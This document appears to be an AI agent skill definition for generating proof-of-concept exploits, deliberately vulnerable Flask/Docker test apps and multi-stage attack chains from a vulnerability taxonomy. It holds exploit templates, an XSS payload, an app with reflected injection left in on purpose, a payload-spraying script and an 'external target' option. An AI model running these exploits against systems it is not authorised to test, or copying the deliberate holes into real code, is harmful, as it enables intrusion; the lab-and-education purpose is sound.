poc-exploit-generator

name

poc-exploit-generator

description

Generate proof-of-concept exploits and attack demonstrations from the-map taxonomy documents. This skill creates working exploit code, vulnerable test applications, and complete attack chains based on mutation taxonomies. Triggered when the user requests 'create PoC', 'generate exploit', 'make attack demo', 'build vulnerable app', or wants concrete exploitation examples from taxonomy. Outputs include Python/JavaScript exploits, Docker-based vulnerable apps, and step-by-step attack guides.

PoC Exploit Generator

Generate proof-of-concept exploits and vulnerable applications from the-map vulnerability taxonomy documents. Create working attack code, test environments, and demonstration scripts.

Core Principle

From Taxonomy to Working Exploits

Each mutation variant becomes a concrete, runnable PoC. The taxonomy provides the mechanism (how it works), the payload (what to send), and the detection criteria (success indicators).

---

Workflow Overview

1. TARGET SELECTION    → Identify the-map document and subtype
2. TAXONOMY ANALYSIS   → Extract mechanism and payload
3. POC DESIGN          → Choose PoC format (script/app/chain)
4. CODE GENERATION     → Generate exploit + vulnerable target
5. TESTING             → Validate PoC works
6. DELIVERY            → Package with README and setup

---

Phase 1: Target Selection

Input Patterns

• "Create PoC for JWT algorithm confusion from the-map"
• "Generate SSRF exploit based on taxonomy"
• "Make vulnerable app for XSS testing"
• "Build attack chain for HTTP smuggling PoC"

Scope Definition

Determine PoC scope:

1. Single-Subtype PoC: One mutation variant
2. Category PoC: All variants in §N
3. Full Attack Chain: Multi-step exploitation (§A → §B → §C)
4. Vulnerable Application: Complete test environment

---

Phase 2: Taxonomy Analysis

Extract from taxonomy:

Subtype: [Name]
Mechanism: [How it works] → Implementation logic
Example Payload: [Concrete test] → Attack payload
Key Condition: [When applicable] → Preconditions
Detection: [Success indicators] → Validation logic

PoC Structure:
  1. Setup (target environment)
  2. Exploitation (send payload)
  3. Validation (check success)
  4. Impact demo (show consequences)

---

Phase 3: PoC Design

PoC Categories

Category 1: Standalone Exploit Script

Single Python/JavaScript script demonstrating the attack.

poc-[vuln]-[subtype]/
├── exploit.py
├── requirements.txt
├── README.md
└── .env.example

Category 2: Vulnerable Application + Exploit

Complete test environment with Docker.

poc-[vuln]-[subtype]/
├── exploit/
│   ├── exploit.py
│   └── requirements.txt
├── vulnerable-app/
│   ├── app.py / server.js
│   ├── Dockerfile
│   └── requirements.txt
├── docker-compose.yml
└── README.md

Category 3: Multi-Step Attack Chain

Complex exploitation requiring multiple stages.

poc-[vuln]-attack-chain/
├── stage1-recon.py
├── stage2-exploit.py
├── stage3-privilege-escalation.py
├── full-chain.sh
└── README.md

---

Phase 4: Code Generation

Exploit Script Template (Python)

#!/usr/bin/env python3
"""
Proof-of-Concept: [Vulnerability] - [Subtype]

Taxonomy Reference: the-map/[path]/[file].md §[N]-[M]
Mechanism: [Mechanism from taxonomy]

This PoC demonstrates [what is being exploited] by [how].

Usage:
    python3 exploit.py <target-url>

Example:
    python3 exploit.py http://localhost:8080
"""

import requests
import sys
from urllib.parse import urljoin

# Configuration
TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080"
PAYLOAD = "[payload from taxonomy]"  # Taxonomy §[N]-[M]

def banner():
    print("""
╔════════════════════════════════════════════╗
║  [Vulnerability] PoC - [Subtype]          ║
║  Taxonomy: the-map §[N]-[M]               ║
╚════════════════════════════════════════════╝
""")

def check_target():
    """Verify target is reachable"""
    try:
        response = requests.get(TARGET_URL, timeout=5)
        print(f"[+] Target is reachable: {TARGET_URL}")
        return True
    except Exception as e:
        print(f"[-] Target unreachable: {e}")
        return False

def exploit():
    """
    Execute exploitation based on taxonomy §[N]-[M]
    Mechanism: [Mechanism description]
    """
    print(f"\n[*] Sending payload: {PAYLOAD}")

    # Attack implementation based on taxonomy mechanism
    try:
        # Example: Reflected XSS
        response = requests.get(
            urljoin(TARGET_URL, "/search"),
            params={"q": PAYLOAD},
            timeout=5
        )

        # Validation based on detection criteria from taxonomy
        if validate_success(response):
            print("[+] VULNERABLE: Exploit successful!")
            print(f"[+] Detection: {get_evidence(response)}")
            return True
        else:
            print("[-] Not vulnerable or payload blocked")
            return False

    except Exception as e:
        print(f"[-] Exploit failed: {e}")
        return False

def validate_success(response):
    """
    Validate exploitation success using detection criteria
    from taxonomy
    """
    # Success criteria from taxonomy "Detection" column
    success_indicators = [
        PAYLOAD in response.text,
        response.status_code == 200,
        "text/html" in response.headers.get("Content-Type", "")
    ]

    return all(success_indicators)

def get_evidence(response):
    """Extract evidence of successful exploitation"""
    # Example: Find payload in response
    if PAYLOAD in response.text:
        start = response.text.find(PAYLOAD)
        return f"Payload reflected at position {start}"
    return "No direct evidence found"

def demonstrate_impact():
    """
    Demonstrate impact based on Axis 3 (Attack Scenario)
    """
    print("\n[*] Impact Demonstration:")
    print("    - [Impact 1 from taxonomy]")
    print("    - [Impact 2 from taxonomy]")
    print("    - Severity: [Severity from Axis 3]")

def main():
    banner()

    if not check_target():
        sys.exit(1)

    if exploit():
        demonstrate_impact()
        print("\n[+] PoC completed successfully")
    else:
        print("\n[-] Exploitation failed")
        sys.exit(1)

if __name__ == "__main__":
    main()

Vulnerable Application Template (Flask)

"""
Intentionally Vulnerable Application: [Vulnerability]

Taxonomy: the-map/[path]/[file].md §[N]-[M]
Vulnerable to: [Subtype Name]

WARNING: This application contains security vulnerabilities.
         Only run in isolated test environments.
"""

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    return render_template_string("""
    <!DOCTYPE html>
    <html>
    <head><title>Vulnerable App - [Vulnerability]</title></head>
    <body>
        <h1>[Vulnerability] Test Environment</h1>
        <p>Taxonomy: §[N]-[M] - [Subtype]</p>

        <form action="/search" method="GET">
            <input type="text" name="q" placeholder="Search...">
            <button type="submit">Search</button>
        </form>
    </body>
    </html>
    """)

@app.route('/search')
def search():
    # VULNERABLE: No output encoding
    # Implements taxonomy §[N]-[M] vulnerability
    query = request.args.get('q', '')

    # Intentionally vulnerable code
    return render_template_string(f"""
    <!DOCTYPE html>
    <html>
    <head><title>Search Results</title></head>
    <body>
        <h1>Search Results</h1>
        <p>You searched for: {query}</p>
        <!-- VULNERABLE: Direct reflection without encoding -->
    </body>
    </html>
    """)

if __name__ == '__main__':
    print("""
    ╔════════════════════════════════════════════╗
    ║  VULNERABLE APPLICATION RUNNING           ║
    ║  Taxonomy: §[N]-[M]                       ║
    ║  Port: 8080                               ║
    ╚════════════════════════════════════════════╝
    """)
    app.run(host='0.0.0.0', port=8080, debug=True)

Docker Configuration

# docker-compose.yml
version: '3.8'

services:
  vulnerable-app:
    build: ./vulnerable-app
    ports:
      - "8080:8080"
    environment:
      - FLASK_ENV=development
    volumes:
      - ./vulnerable-app:/app
    networks:
      - poc-network

networks:
  poc-network:
    driver: bridge

# vulnerable-app/Dockerfile
FROM python:3.11-slim

WORKDIR /app

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY . .

EXPOSE 8080

CMD ["python", "app.py"]

Multi-Stage Attack Chain

#!/bin/bash
# full-chain.sh
#
# Complete attack chain demonstrating multi-step exploitation
# Taxonomy: the-map/[path]/[file].md

set -e

echo "╔════════════════════════════════════════════╗"
echo "║  [Vulnerability] Full Attack Chain        ║"
echo "║  Taxonomy: §[N] → §[M] → §[P]             ║"
echo "╚════════════════════════════════════════════╝"
echo ""

TARGET=${1:-"http://localhost:8080"}

echo "[*] Stage 1: Reconnaissance (§[N])"
python3 stage1-recon.py "$TARGET" | tee stage1-output.txt

echo ""
echo "[*] Stage 2: Initial Exploitation (§[M])"
RECON_DATA=$(cat stage1-output.txt)
python3 stage2-exploit.py "$TARGET" "$RECON_DATA" | tee stage2-output.txt

echo ""
echo "[*] Stage 3: Privilege Escalation (§[P])"
EXPLOIT_DATA=$(cat stage2-output.txt)
python3 stage3-privilege-escalation.py "$TARGET" "$EXPLOIT_DATA"

echo ""
echo "[+] Full attack chain completed successfully"

---

Phase 5: README Template

# PoC: [Vulnerability] - [Subtype]

Proof-of-concept demonstrating [vulnerability] exploitation based on
the-map mutation taxonomy.

## Taxonomy Reference

**Source**: [the-map/path/file.md §[N]-[M]]

**Subtype**: [Subtype Name]

**Mechanism**: [Mechanism from taxonomy]

**Attack Scenario**: [From Axis 3]

## Overview

This PoC demonstrates [what attack does] by [how it works].

## Prerequisites

- Python 3.8+
- Docker (for vulnerable app)
- [Other requirements]

## Quick Start

### Option 1: Against Included Vulnerable App

```bash
# Start vulnerable application
docker-compose up -d

# Run exploit
python3 exploit/exploit.py http://localhost:8080

# View logs
docker-compose logs -f

# Stop
docker-compose down

Option 2: Against External Target

# Install dependencies
pip install -r exploit/requirements.txt

# Run exploit
python3 exploit/exploit.py <target-url>

Vulnerable Application

The included vulnerable app implements the exact vulnerability described in taxonomy §[N]-[M].

Vulnerable Code

# File: vulnerable-app/app.py
[Snippet of vulnerable code]

Why it's vulnerable: [Explanation referencing taxonomy mechanism]

Testing Manually

# Access the app
http://localhost:8080

# Trigger vulnerability
curl "http://localhost:8080/search?q=[payload]"

Exploit Walkthrough

Step 1: Reconnaissance

[Explanation of recon step]

[Command]

Step 2: Exploitation

[Explanation of exploitation]

[Code snippet]

Step 3: Validation

[How to confirm success]

[Validation command]

Payload Breakdown

Payload: [payload from taxonomy]

Breakdown:

• [part1]: [Explanation]
• [part2]: [Explanation]
• [part3]: [Explanation]

Detection: [Success indicators from taxonomy]

Defense Bypasses (Axis 2)

This PoC includes variations for bypassing defenses:

1. [Bypass Type 1]: [Payload variation]
2. [Bypass Type 2]: [Payload variation]

Impact Demonstration

When successful, this exploit allows:

• [Impact 1 from Axis 3]
• [Impact 2 from Axis 3]

Severity: [From taxonomy]

Remediation

To fix this vulnerability:

# Vulnerable code
[before]

# Fixed code
[after]

Best practices:

• [Remediation advice 1]
• [Remediation advice 2]

File Structure

poc-[vuln]-[subtype]/
├── exploit/
│   ├── exploit.py          # Main exploit script
│   └── requirements.txt    # Python dependencies
├── vulnerable-app/
│   ├── app.py              # Intentionally vulnerable Flask app
│   ├── Dockerfile          # Container configuration
│   └── requirements.txt    # App dependencies
├── docker-compose.yml      # Docker orchestration
└── README.md               # This file

Troubleshooting

Issue: Exploit fails with connection error

• Solution: Verify target is running (docker-compose ps)

Issue: Payload blocked

• Solution: Try bypass variations in exploit.py

Issue: No evidence of exploitation

• Solution: Check vulnerable-app logs for payload reflection

Credits

Based on the-map vulnerability taxonomy.

License

MIT License - For educational and authorized testing only.

Disclaimer

This PoC is for educational purposes and authorized security testing only. Unauthorized access to computer systems is illegal.

---

## Advanced PoC Types

### Type 1: Interactive PoC (Gradio UI)

```python
import gradio as gr
import requests

def exploit_interface(target_url, payload):
    """Interactive PoC with web UI"""
    try:
        response = requests.get(
            f"{target_url}/search",
            params={"q": payload},
            timeout=5
        )

        if payload in response.text:
            return f"✅ VULNERABLE\n\nPayload reflected:\n{response.text[:500]}"
        else:
            return "❌ Not vulnerable or payload blocked"
    except Exception as e:
        return f"❌ Error: {e}"

# Create Gradio interface
iface = gr.Interface(
    fn=exploit_interface,
    inputs=[
        gr.Textbox(label="Target URL", value="http://localhost:8080"),
        gr.Textbox(label="Payload", value="<img src=x onerror=alert(1)>")
    ],
    outputs=gr.Textbox(label="Result"),
    title="[Vulnerability] PoC - Interactive",
    description="Taxonomy: §[N]-[M]"
)

iface.launch(server_name="0.0.0.0", server_port=7860)

Type 2: Attack Automation Script

#!/usr/bin/env python3
"""
Automated exploitation with multiple payloads
"""

import requests
from concurrent.futures import ThreadPoolExecutor

# Payloads from taxonomy (all subtypes in §[N])
PAYLOADS = [
    ("§[N]-1", "[payload1]"),
    ("§[N]-2", "[payload2]"),
    ("§[N]-3", "[payload3]"),
]

def test_payload(subtype, payload):
    """Test single payload"""
    try:
        response = requests.get(
            f"{TARGET}/search",
            params={"q": payload},
            timeout=5
        )

        if payload in response.text:
            return (subtype, True, payload)
        return (subtype, False, None)
    except:
        return (subtype, False, None)

# Test all payloads concurrently
with ThreadPoolExecutor(max_workers=5) as executor:
    results = executor.map(lambda p: test_payload(*p), PAYLOADS)

# Report findings
for subtype, success, payload in results:
    if success:
        print(f"[+] {subtype}: VULNERABLE with {payload}")
    else:
        print(f"[-] {subtype}: Not vulnerable")

---

Quality Checklist

• Exploit script is self-contained and runnable
• Vulnerable app demonstrates exact taxonomy mechanism
• Payload matches taxonomy example
• Detection logic validates using taxonomy criteria
• README explains mechanism from taxonomy
• Docker setup works with single command
• PoC tested and confirmed working
• Taxonomy reference included in all files
• Remediation guidance provided
• Disclaimer and ethical notice included

---

Delivery Message

# PoC Generated

Created complete proof-of-concept for [Vulnerability] - [Subtype].

## Summary

- **Taxonomy**: §[N]-[M] - [Subtype Name]
- **Exploit**: Python script with full automation
- **Vulnerable App**: Flask app in Docker
- **Attack Chain**: [Single-stage / Multi-stage]
- **Status**: Tested and confirmed working

## Quick Start

```bash
cd poc-[vuln]-[subtype]
docker-compose up -d
python3 exploit/exploit.py http://localhost:8080

Files

1. exploit.py: Main exploit script
2. vulnerable-app/: Intentionally vulnerable Flask application
3. docker-compose.yml: One-command setup
4. README.md: Full documentation with walkthrough

The PoC is ready for use in security testing and education.

---

## Notes

- **Language**: Python (primary), JavaScript/Bash (as needed)
- **Safety**: All PoCs include warnings and ethical disclaimers
- **Isolation**: Vulnerable apps run in Docker for safety
- **Completeness**: Full attack chain from setup to validation
- **Education**: Focus on teaching the mechanism, not just attack
- **Taxonomy**: Every PoC directly implements taxonomy specification